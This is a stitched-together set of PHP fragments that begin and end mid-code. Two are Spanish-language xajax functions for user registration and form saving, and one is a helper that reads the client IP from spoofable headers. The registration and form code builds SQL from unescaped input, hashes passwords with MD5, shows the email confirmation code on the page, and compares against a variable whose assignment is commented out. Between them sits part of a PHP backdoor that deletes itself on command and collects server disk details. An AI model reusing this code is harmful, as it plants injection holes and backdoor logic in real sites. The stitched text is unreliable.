function registro_express($formulario, $accion) { $formulario = mysql_seguridad($formulario); // if(is_array($formulario) ){$nombre_formulario = $formulario['nombre_formulario'];}else{$nombre_formulario = "$formulario";} if ($nombre_formulario == "") { $nombre_formulario = "login"; } /* foreach($formulario as $c=>$v){ //LISTA ELEMENTOS DE UN ARRAY if (is_array($v) ){ foreach($v as $C=>$V){ if($V != '') {$resultado .= "$$c = \$formulario[$c][$C]; // <b>$V</b> </p>";} } } else { if($v !='') {$resultado .= "$$c = \$formulario[$c]; // <b>$v</b> </p>";} } } */ $boton = "<div class='btn btn-block btn-success' onclick=\"xajax_registro_express(xajax.getFormValues('{$nombre_formulario}'),'confirmar')\">Grabar </div>"; $respuesta = new xajaxResponse('utf-8'); if ($accion == 'confirmar') { $div = "registro_confirmacion_email"; if ($formulario[password_express_confirmar] == "" or $formulario[password_express_confirmar] != $formulario[password_express]) { $resultado = "<div class='alert alert-danger'>Por favor escribe y confirma una clave.</div> {$boton}"; $respuesta->addAssign("password_express" . "_grupo", "className", " input-group has-error "); $respuesta->addAlert("Por favor escribe y confirma la clave"); $respuesta->addScript("document.getElementById('password_express').focus(); "); $respuesta->addAssign("{$div}", "innerHTML", $resultado); return $respuesta; } if ($formulario[email_express_confirmar] != "") { $email_envio = $formulario['email_express_confirmar']; $rrn = rand(123, 999); $rrncode = MD5("{$rrn}"); // $aviso= aviso('','mail privacidad',''); $direccion = remplacetas("empresa", "id", $id_empresa, "direccion", ""); $telefono = remplacetas("empresa", "id", $id_empresa, "telefono", ""); $web = remplacetas("empresa", "id", $id_empresa, "web", ""); $email = remplacetas("empresa", "id", $id_empresa, "email", ""); $imagen = remplacetas("empresa", "id", $id_empresa, "imagen", ""); $razon_social = remplacetas("empresa", "id", $id_empresa, "razon_social", ""); $slogan = remplacetas("empresa", "id", $id_empresa, "slogan", ""); $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "From: Comunidad QWERTY.co <*****@*****.**>\r\n"; $headers .= "Reply-To: comunidad@qwerty.co\r\n"; $headers .= "Return-path: comunidad@qwerty.co\r\n"; $asunto = "Código de validación"; $cuerpo = "\n<div style='border: solid 1px; padding:20px ; border-radius: 10px; background-color:#E6F8E0 '>\n<h1>Comunidad QWERTY.co</h1>\n\n<hr />\n<h3>Código de validación</h3>\n<p>Bienvenido a nuestra comunidad <strong>QWERTY.co<strong> Por favor digita el siguente código para validar tu cuenta.</p>\n<H1>{$rrn}</H1>\n\n\n<h3>Toda la ayuda que necesitas la puedes encontrar en nuestra sección de respuestas a preguntas frecuentes: http://qwerty.co/faq.</h3>\n</div>\n\t\t{$aviso}\n\t\t\t"; mail("{$email_envio}", "{$asunto}", "{$cuerpo}", "{$headers}"); $boton = "<div class='btn btn-block btn-success' onclick=\"xajax_registro_express(xajax.getFormValues('{$nombre_formulario}'),'validar');\">Confirmar</div>"; $control = MD5(mktime() . $rrncode); $resultado .= "\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-2'>\n\t\t\t</div>\n\t\t\t<div class='col-sm-8'>\n\t\t\t\t<div class='form-group has-error' id='codigo_confirmacion'>\n\t\t\t\t<span class='help-block'>Escribe el código de confirmación <strong>{$rrn}</strong></span>\n\t\t\t\t\t<div class='input-group' id=''>\n\t\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t\t<i class='fa fa-key'></i>\n\t\t\t\t\t\t</span>\n\t\t\t\t\t\t<input type='hidden' id='rrn' name='rrn' value='{$rrncode}'>\n\t\t\t\t\t\t<input type='hidden' id='hidden' name='control' value='{$control}'>\n\t\t\t\t\t\t<input type='number' id='codigo_confirmacion' name='codigo_confirmacion' placeholder='Codigo de validación' class='form-control'> \n\t\t\t\t\t</div>\n\t\t\t\t\n\t\t\t\t</div>\n\t\t\t</div>\t\t\t\n\t\t\t<div class='col-sm-2'>\n\t\t\t\n\t\t\t</div>\n\t\t</div>\t\n\t{$boton}\n\t"; } else { $resultado .= "{$boton} <div class='alert alert-danger'>No hay un email válido </div>"; } $respuesta->addAssign("{$div}", "innerHTML", $resultado); return $respuesta; } elseif ($accion == "elegir") { $form = "\n<div id='login_express'>\n\t<div class='' id='datos_usuario'>\n\t\t<div class='row' id=''>\t\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t<div class='btn btn-primary btn-block' onclick=\"xajax_registro_express(xajax.getFormValues('{$nombre_formulario}'),'nuevo');\" >Usuario nuevo</div>\n\t\t\t</div>\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t<div class='btn btn-success btn-block' data-target=\"#modal_login\" data-toggle=\"modal\" >Ya estoy registrado</div>\n\t\t\t<div>\n\t\t</div>\n\n\t</div>\n</div>\n\t\t <a target='_blank' href='http://qwerty.co/faq/category/19/privacidad-y-protecci%C3%B3n-de-datos.html'>Antes de continuar, por favor revisa nuestras Políticas de privacidad y protección de datos.</a> </p> \n\t\t "; return $form; } elseif ($accion == "validar") { $boton = "<div class='btn btn-block btn-success' onclick=\"xajax_registro_express(xajax.getFormValues('{$nombre_formulario}'),'confirmar');\">Confirmar</div>"; $div = "registro_confirmacion_email"; if ($formulario[password_express_confirmar] == "" or $formulario[password_express_confirmar] != $formulario[password_express]) { $resultado = "<div class='alert alert-danger'>Por favor escribe y confirma una clave.</div> {$boton}"; $respuesta->addAssign("password_express" . "_grupo", "className", " input-group has-error "); $respuesta->addAlert("Por favor escribe y confirma la clave"); $respuesta->addScript("document.getElementById('password_express').focus(); "); $respuesta->addAssign("{$div}", "innerHTML", $resultado); return $respuesta; } $codigo_confirmacion = $formulario[codigo_confirmacion]; // $rrn = $formulario[rrn]; // $codificado = md5("{$codigo_confirmacion}"); if ($rrn == $codificado) { $control = $formulario[control]; // nuevo_ $nombre_formulario = $formulario[nombre_formulario]; // nuevo_ $email_express = $formulario[email_express]; // aa@gmail.com $email_express_confirmar = $formulario[email_express_confirmar]; // aa@gmail.com $nombre_express = $formulario[nombre_express]; // nombre $apellido_express = $formulario[apellido_express]; // apellido $telefono_express = $formulario[telefono_express]; // 324343 $password_express = $formulario[password_express]; // 1234 $password_express_confirmar = $formulario[password_express_confirmar]; // 23456 $ip = obtener_ip(); $link = Conectarse(); mysql_query("SET NAMES 'utf8'"); $consulta = "INSERT INTO usuarios (username,p_nombre,p_apellido,email,bio,passwd,control,status,lastip,id_empresa) \n\t\t\t\tVALUES ('{$email_express_confirmar}','{$nombre_express}','{$apellido_express}','{$email_express_confirmar}','','" . MD5($password_express_confirmar) . "','{$control}','1','{$ip}','{$_SESSION['id_empresa']}')"; $sql_consulta = mysql_query($consulta, $link); if ($sql_consulta) { $id = mysql_insert_id(); $consulta_localizacion = "INSERT INTO localizacion (id_localizado,telefono,id_grupo) VALUES ('{$id}','{$telefono_express}','1')"; $consulta_empresa = "INSERT INTO empresa SET razon_social = '{$nombre_express} {$nombre_express}', regimen_tributario = 'simplificado' ,id_responsable='{$id}'"; $sql_localizacion = mysql_query($consulta_localizacion, $link); //$sql_empresa=mysql_query($consulta_empresa,$link); if ($sql_empresa) { $id_empresa = mysql_insert_id(); $_SESSION[id_empresa] = $id_empresa; $_SESSION[id] = $id; } //// faltan variables de session } $resultado = "<div class='alert alert-success'><h1>Bienvenido</h1>\n<p>Felicitaciones, tu registro se efectuó correctamente, ahora puedes usar nuestros servicios.</p>\n</div>"; $div = "contenido"; $respuesta->addAssign("{$div}", "innerHTML", $resultado); return $respuesta; } else { $resultado = "<div class='alert alert-danger'><h3>Error</h3>El Código de confirmación no es correcto, por favor inténtalo nuevamente.</div>"; } $resultado .= "{$boton}"; $respuesta->addAssign("{$div}", "innerHTML", $resultado); return $respuesta; } elseif ($accion == "nuevo") { //$respuesta = new xajaxResponse('utf-8'); $div = "contenido"; $form = "\n<div class='alert alert-warning'>\n<form class='form' id='{$nombre_formulario}' name='{$nombre_formulario}' >\n<input type='hidden' value = 'nuevo_{$nombre_formato}' id='nombre_formulario' name='nombre_formulario' >\n\t<legend>Datos de contacto</legend>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t<div class='input-group' id='email_express_grupo'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-envelope-o'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input value='' type='email' id='email_express' name='email_express' placeholder='Email' class='form-control'\n\t\t\t\t\t\tonclick=\"(this.value=''); \"\n\t\t\t\t\t \tonchange=\"xajax_validar_usuario('email',(this.value),'email_express','login'); \" > \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t\n\t\t\t\t<div class='input-group' id='email_express_confirmar_grupo'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-envelope'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input value='' type='email' id='email_express_confirmar' name='email_express_confirmar' placeholder='Confirmar email' class='form-control'\n\t\t\t\t\tonclick=\"(this.value=''); \"\n\t\t\t\t\tonchange= \"xajax_confirma_campo((document.getElementById('email_express').value),(this.value),'email_express','email_express_confirmar'); \" > \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-12'>\n\t\t\t\t<div class='input-group' id='nombre_express'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-user'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input type='text' id='nombre_express' name='nombre_express' placeholder='Nombre' class='form-control'> \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-12'>\n\t\t\t\t<div class='input-group' id='apellido_express'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-user '></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input type='text' id='apellido_express' name='apellido_express' placeholder='Apellido' class='form-control'> \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-12'>\n\t\t\t\t<div class='input-group' id='telefono_express'>\n\t\t\t\t\t\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-phone'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input type='phone' id='telefono_express' name='telefono_express' placeholder='Teléfono' class='form-control' \n\t\t\t\t\tonclick=\"(this.value=''); \"> \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t<div class='input-group' id='password_express_grupo'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-key'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input type='password' id='password_express' name='password_express' placeholder='Clave' class='form-control'\n\t\t\t\t\tonclick=\"(this.value=''); \"> \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t<div class='input-group' id='password_express_confirmar_grupo'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-lock'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input type='password' id='password_express_confirmar' name='password_express_confirmar' placeholder='Confirma tu clave' class='form-control'\n\t\t\t\t\tonclick=\"(this.value=''); \"\n\t\t\t\t\tonchange= \"xajax_confirma_campo((document.getElementById('password_express').value),(this.value),'password_express','password_express_confirmar'); \" > \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-12'>\n\t\t\t\t<br>\n\t\t\t\t<div id='registro_confirmacion_email'>\t\t\t\t\n{$boton}\n\t\t\t\t</div>\n\t\t\t\t\n\t\t\t</div>\n\t\t</div>\n\n</form>\n</div>\n"; $respuesta->addAssign("{$div}", "innerHTML", $form); return $respuesta; } elseif ($accion == "boton") { $modal = " \n\t\t<form class='navbar-form navbar-left' role='form' id='form_contacto' name='form_contacto'>\n <div class='form-group'>\n <input type='text' class='form-control input-small' placeholder='Email o usuario' id='email' name='email'>\n </div>\n <div class='form-group'>\n <input type='password' class='form-control input-small' placeholder='Clave ****' id='password' name='password'>\n </div>\n <div class='btn btn-default' onclick=\"xajax_revisar_ingreso(xajax.getFormValues('form_contacto')) ; \"><i class='fa fa-sign-in fa-fw'></i></div>\n </form>"; return; //$modal; } else { } $respuesta->addAssign("{$div}", "innerHTML", $resultado); return $respuesta; }
function formulario_grabar($formulario) { $debug = ""; $respuesta = new xajaxResponse('utf-8'); $datos = ""; $envio = ""; //$formulario = mysql_seguridad($formulario); $ip = obtener_ip(); $graba_ip = "INET_ATON('" . $ip . "') "; $consulta_grabada = '0'; $control = $formulario['control']; // $form_id = $formulario['form_id']; // $tipo = $formulario['tipo']; // if (@$formulario['imagen'] != '') { $formulario[0][0] = $formulario['imagen']; } $consulta_form = "SELECT * FROM form_contenido_campos,form_campos\n\t\t\t\t\t\t\tWHERE form_contenido_campos.id_campo = form_campos.id \n\t\t\t\t\t\t\tAND id_form = '{$form_id}' "; $link = Conectarse(); mysql_query("SET NAMES 'utf8'"); // $sql=mysql_query($consulta_form,$link); // if (mysql_num_rows($sql)!='0'){ // mysql_data_seek($sql, 0); // while( $row = mysql_fetch_array( $sql ) ) { ////// if (isset($_SESSION['id_empresa'])) { $id_empresa = $_SESSION['id_empresa']; } else { $id_empresa = remplacetas('form_id', 'id', $formulario['form_id'], 'id_empresa', ""); $id_empresa = $id_empresa[0]; } foreach ($formulario as $c => $v) { //LISTA ELEMENTOS DE UN ARRAY if (is_array($v)) { foreach ($v as $C => $V) { $campo_tipo = remplacetas("form_campos", "id", $c, "campo_tipo", ""); $campo_nombre = remplacetas("form_campos", "id", $c, "campo_nombre", ""); if ($V != '') { $datos .= "<p>\${$c} = \$formulario['{$c}'][{$C}]; // <b>{$V}</b> /{$campo_tipo['0']} </p>"; if ($campo_tipo[0] == '12' or $campo_tipo[0] == '13') { $validar = validar_email($V); if ($validar == '0') { $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-error "); $respuesta->addScript("document.getElementById('" . $c . "[" . $C . "]').focus(); "); $respuesta->addAlert("Se necesita un email válido"); return $respuesta; } else { $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-success "); } } if ($campo_tipo[0] == '3') { $validar = is_numeric($V); if (is_numeric($V)) { $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-success "); //return $respuesta; } else { $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-error "); $respuesta->addScript("document.getElementById('" . $c . "[" . $C . "]').focus(); "); $respuesta->addAlert("El campo {$campo_nombre['0']} solo acepta valores numéricos"); return $respuesta; } } if ($campo_tipo[0] == '17') { $limite = limite("{$c}", '', 'limite'); $size = strlen($V); $restante = $limite - $size; if ($restante < 0) { $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-error "); $respuesta->addAlert("ATENCION: El campo {$campo_nombre['0']} no debe tener mas de {$limite} caractéres, sobran {$restante}"); $respuesta->addScript("document.getElementById('" . $c . "[" . $C . "]').focus(); "); return $respuesta; } } } else { //busca campos vacios $campo_obligatorio = remplacetas("form_contenido_campos", "id_campo", $c, "obligatorio", "id_form = '{$formulario['form_id']}'"); if ($campo_obligatorio[0] == '1') { $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-error "); $respuesta->addAlert("ATENCION: El campo {$campo_nombre['0']} es obligatorio"); $respuesta->addScript("document.getElementById('" . $c . "[" . $C . "]').focus(); "); return $respuesta; } } $md5 = md5($V); $igual = formulario_valor_campo("{$form_id}", "{$c}", "{$md5}", "{$formulario['control']}", "{$C}"); $existe = formulario_valor_campo("{$form_id}", "{$c}", "", "{$formulario['control']}", "{$C}"); //$valor_anterior .= $existe[3]."| "; $debug .= "{$existe}"; if (!is_null($existe) and $tipo == 'edit' and $V == '') { $consulta_vacio = "\n\t\t\t\tINSERT INTO `form_datos` (`id`, `id_campo`,`orden`,`form_id`, `id_usuario`, `contenido`, `timestamp`, `control`, ip , id_empresa) \n\t\t\t\t\t\t\t\t\t\tVALUES (NULL, '{$c}','{$C}', '{$formulario['form_id']}', '{$_SESSION['id']}', '', UNIX_TIMESTAMP(), '{$formulario['control']}',{$graba_ip},'{$id_empresa}');"; $sql = mysql_query($consulta_vacio, $link); if ($sql) { $consulta_grabada = '1'; } } if (is_null($igual)) { $repetido = 0; } else { $repetido = 1; } //return $respuesta; //$respuesta->addAlert("$debug"); //return $respuesta; $debug .= "V = {$V} /{$c} /{$repetido} / {$igual} "; if ($V != '' && is_numeric($c) and $repetido != 1) { //$debug = "Hola mundo"; $V = mysql_real_escape_string($V); $campo_tipo = remplacetas("form_campos", "id", $c, "campo_tipo", ""); if (@$campo_tipo[0] == "18") { $V = md5("{$V}"); } else { $V = $V; } $consulta = "\n\t\t\t\tINSERT INTO `form_datos` (`id`, `id_campo`,`orden`,`form_id`, `id_usuario`, `contenido`, `timestamp`, `control`, ip , id_empresa) \n\t\t\t\t\t\t\t\t\t\tVALUES (NULL, '{$c}','{$C}', '{$formulario['form_id']}', '" . @$_SESSION[id] . "', '{$V}', UNIX_TIMESTAMP(), '{$formulario['control']}',{$graba_ip},'{$id_empresa}');"; $sql = mysql_query($consulta, $link); $debug .= "{$consulta} = {$sql} ,"; if ($sql) { $consulta_grabada = '1'; } } } ///fin del array } else { if ($v != '') { //$datos .= "<p>$$c = \$formulario['$c']; // <b>$v</b> </p>"; } } } // } // } $debug .= " {$link} "; //$respuesta->addAssign("pie_modal","innerHTML","$debug"); if ($consulta_grabada == '1') { if ($tipo == "embebidoX") { $exito = "\n\t<div class='alert alert-success'><h2><i class='fa fa-check-square-o'></i>\n\t\t {$formulario['mensaje']} </h2>\n\n\t</div>"; $mail = '1'; } elseif ($tipo == "solocampos") { $exito = "\n\t<div class='alert alert-success'><h2><i class='fa fa-check-square-o'></i>\n\t\t {$formulario['mensaje']} </h2>\n\n\t</div>"; $mail = '0'; } else { $campo_envio = buscar_campo_tipo($formulario['form_id'], "13"); if ($campo_envio[0] != "") { $envio = email_contenido("{$formulario['form_id']}", "{$formulario['control']}", "{$campo_envio['0']}", ''); } if ($tipo = "embebido") { $otro_formulario = "\n\t\t\t \t<a href ='' class='btn btn-block btn-success'>\n\t\t\t \t\tLlenar otro formulario\n\t\t\t \t</a>\n"; } else { $otro_formulario = "\n\t\t\t \t<a href ='f{$formulario['form_id']}' class='btn btn-block btn-success'>\n\t\t\t \t\tLlenar otro formulario\n\t\t\t \t</a>\t\n\t\n\t"; } $impresion = formulario_imprimir("", "{$formulario['control']}", "preview"); $mensaje_agradecimiento = remplacetas('form_parametrizacion', 'campo', "{$formulario['form_id']}", 'descripcion', " tabla='form_id' and opcion = 'mensaje_envio'"); //$impresion = mostrar_identificador($formulario['control']); $exito = "\n\t\t<div>\n\t\t{$mensaje_agradecimiento['0']}\n\t\t</div>\n\t<!-- \tuse plantilla:preview -->\n\t\t{$impresion} \n\t<!-- \tuse plantilla:preview -->\n\t<div class='alert alert-success'><h2><i class='fa fa-check-square-o'></i>\n\t\t Gracias por llenar el formulario {$formulario['form_nombre']} </h2>\n\t\t <div class='row'>\n\t\t\t <div class='col-xs-6'>\n\t\t\t\t{$otro_formulario}\n\t\t\t </div>\n\t\t\t <div class='col-xs-6'>\n\t\t\t \t{$envio}\n\t\t\t </div>\n\t\t</div>\n\t</div>"; // $mail ='1'; } //if($mail =='1') { //$propietario = remplacetas('form_id','id',$formulario[form_id],'propietario',"") ; //$propietario = remplacetas('usuarios','id',$propietario[0],'email',"") ; $email_envio = remplacetas('form_parametrizacion', 'campo', "{$formulario['form_id']}", 'descripcion', " tabla='form_id' and opcion = 'email'"); if ($email_envio[0] != "") { $impresion = formulario_imprimir("", "{$formulario['control']}", "preview"); $id_empresa = remplacetas('form_id', 'id', $formulario[form_id], 'id_empresa', ""); $id_empresa = $id_empresa[0]; $direccion = remplacetas("empresa", "id", $id_empresa, "direccion", ""); $telefono = remplacetas("empresa", "id", $id_empresa, "telefono", ""); $web = remplacetas("empresa", "id", $id_empresa, "web", ""); $email = remplacetas("empresa", "id", $id_empresa, "email", ""); $imagen = remplacetas("empresa", "id", $id_empresa, "imagen", ""); $razon_social = remplacetas("empresa", "id", $id_empresa, "razon_social", ""); $slogan = remplacetas("empresa", "id", $id_empresa, "slogan", ""); $nombre_formulario = remplacetas("form_id", "id", $formulario[form_id], "nombre", ""); $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "From: {$razon_social['0']} <{$email['0']}>\r\n"; $headers .= "Reply-To: {$email['0']}\r\n"; $headers .= "Return-path: {$email['0']}\r\n"; $headers .= "Cc: {$email_envio['0']}" . "\r\n"; $asunto = "{$nombre_formulario['0']}"; $cuerpo = "\n{$mensaje_agradecimiento['0']}\n{$impresion}\n</p>Se ha completado el formulario <b>{$nombre_formulario['0']}</b></p>\n<p>Puede revisar los datos en <a href='{$_SESSION['site']}i{$formulario['control']}'>{$_SESSION['site']}i{$formulario['control']}</a></p>\n<p>Saludos de MILFS</p>\n"; if (mail("{$email['0']}", "{$asunto}", "{$cuerpo}", "{$headers}")) { $exito .= ""; } else { $exito .= "error enviando correo"; } //$exito .= "$email[0] $headers "; } /// } $respuesta->addAssign("div_{$control}", "innerHTML", "{$exito} "); return $respuesta; } else { $mensaje = "\n\t\n\t\t\t<div class='alert alert-success text-center'><h1><i class='fa fa-smile-o'></i><small> Todo bien pero al parecer no se moficaron registros </small></h1></div>"; $respuesta->addAssign("div_{$control}", "innerHTML", "{$mensaje}"); } //$respuesta->addAssign("respuesta_$control","innerHTML","$resultado"); return $respuesta; }
} } exit(0); } if (isset($_GET['destruir'])) { if (!empty($_GET['destruir'])) { $locacion = "{$actual}/{$nombre_backdoor}"; if (unlink($locacion)) { header("location:{$link_actual}"); } else { echo "<script>alert('No se pudo destruir')</script>"; } } } /* Guardamos la ip en una variable */ $ip = obtener_ip(); /* Calcular espacio disponible del disco duro */ $espacio_libre = @diskfreespace("/"); /* Calculamos el espacio libre */ if (@function_exists('disk_free_space')) { $espacio_libre = @disk_free_space("/"); } else { $espacio_libre = '-'; } /* Verificamos que se reciba de la variable $espacio_libre */ /* de lo contrario la asignamos el valor 0 */ if (!$espacio_libre) { $espacio_libre = 0; } /* Guardamos el total en una variable */ $total = @disk_total_space("/");
<?php function obtener_ip() { if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { return array_shift(explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"])); } else { if (!empty($_SERVER["HTTP_CLIENT_IP"])) { return $_SERVER["HTTP_CLIENT_IP"]; } else { return $_SERVER["REMOTE_ADDR"]; } } } echo obtener_ip();